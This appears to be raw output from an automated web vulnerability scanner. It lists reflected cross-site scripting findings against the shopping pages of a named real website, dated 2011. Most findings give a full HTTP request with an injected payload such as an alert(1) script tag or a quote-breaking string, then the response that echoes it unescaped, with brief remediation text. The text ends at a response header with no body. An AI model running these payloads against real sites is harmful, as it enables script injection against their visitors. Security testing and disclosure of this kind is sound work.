GET /Shopping/Clothing-Accessoriesb46c3<script>alert(1)</script>3a630b354c8/194367784/Glasses-Eye-Wear/38 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:00:59 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61560
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Clothing Accessoriesb46c3<script>alert(1)</script>3a630b354c8 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8a527'-alert(1)-'342e392d1d1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories8a527'-alert(1)-'342e392d1d1/194367784/Glasses-Eye-Wear/38 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:59:33 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61736
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Clothing-Accessories8a527'-alert(1)-'342e392d1d1/194367784/Glasses-Eye-Wear/38'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4814e'-alert(1)-'279d2584fa2 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/1943677844814e'-alert(1)-'279d2584fa2/Glasses-Eye-Wear/38 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:08:15 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61243
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Clothing-Accessories/1943677844814e'-alert(1)-'279d2584fa2/Glasses-Eye-Wear/38'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4693c'-alert(1)-'a88536994b6 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Glasses-Eye-Wear4693c'-alert(1)-'a88536994b6/38 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:13:57 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 62064
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Clothing-Accessories/194367784/Glasses-Eye-Wear4693c'-alert(1)-'a88536994b6/38'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 51800'-alert(1)-'b0159144be0 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Glasses-Eye-Wear/3851800'-alert(1)-'b0159144be0 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:18:58 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55314
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Clothing-Accessories/194367784/Glasses-Eye-Wear/3851800'-alert(1)-'b0159144be0'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e2114"><a>e3500dc4ea8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shoppinge2114"><a>e3500dc4ea8/Clothing-Accessories/194367784/Hair-Wigs/73 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:53:40 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60218
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shoppinge2114"><a>e3500dc4ea8"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8e97f'-alert(1)-'9e3197d8b3e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping8e97f'-alert(1)-'9e3197d8b3e/Clothing-Accessories/194367784/Hair-Wigs/73 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:10:23 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60164
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping8e97f'-alert(1)-'9e3197d8b3e/Clothing-Accessories/194367784/Hair-Wigs/73'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d8b92'-alert(1)-'a5a25c7e335 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessoriesd8b92'-alert(1)-'a5a25c7e335/194367784/Hair-Wigs/73 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:16:52 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55528
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Clothing-Accessoriesd8b92'-alert(1)-'a5a25c7e335/194367784/Hair-Wigs/73'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 9663e<script>alert(1)</script>bcca74b079b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Clothing-Accessories9663e<script>alert(1)</script>bcca74b079b/194367784/Hair-Wigs/73 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:17:11 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55504
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Clothing Accessories9663e<script>alert(1)</script>bcca74b079b <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ce379'-alert(1)-'2fd43d9f88b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784ce379'-alert(1)-'2fd43d9f88b/Hair-Wigs/73 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:25:49 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54859
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Clothing-Accessories/194367784ce379'-alert(1)-'2fd43d9f88b/Hair-Wigs/73'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b2bf5'-alert(1)-'1ade1d40b1b was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Hair-Wigsb2bf5'-alert(1)-'1ade1d40b1b/73 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:36:36 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55485
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Clothing-Accessories/194367784/Hair-Wigsb2bf5'-alert(1)-'1ade1d40b1b/73'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 74b7c'-alert(1)-'bd3a9de6948 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Hair-Wigs/7374b7c'-alert(1)-'bd3a9de6948 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:45:45 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55305
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Clothing-Accessories/194367784/Hair-Wigs/7374b7c'-alert(1)-'bd3a9de6948'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9edbf"><a>45613fea63f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping9edbf"><a>45613fea63f/Clothing-Accessories/194367784/Hats/56 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:11:49 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59592
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping9edbf"><a>45613fea63f"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 88d2b'-alert(1)-'ccf15a8868f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping88d2b'-alert(1)-'ccf15a8868f/Clothing-Accessories/194367784/Hats/56 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:22:50 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59827
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping88d2b'-alert(1)-'ccf15a8868f/Clothing-Accessories/194367784/Hats/56'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ceec0'-alert(1)-'cd4395f2887 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessoriesceec0'-alert(1)-'cd4395f2887/194367784/Hats/56 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
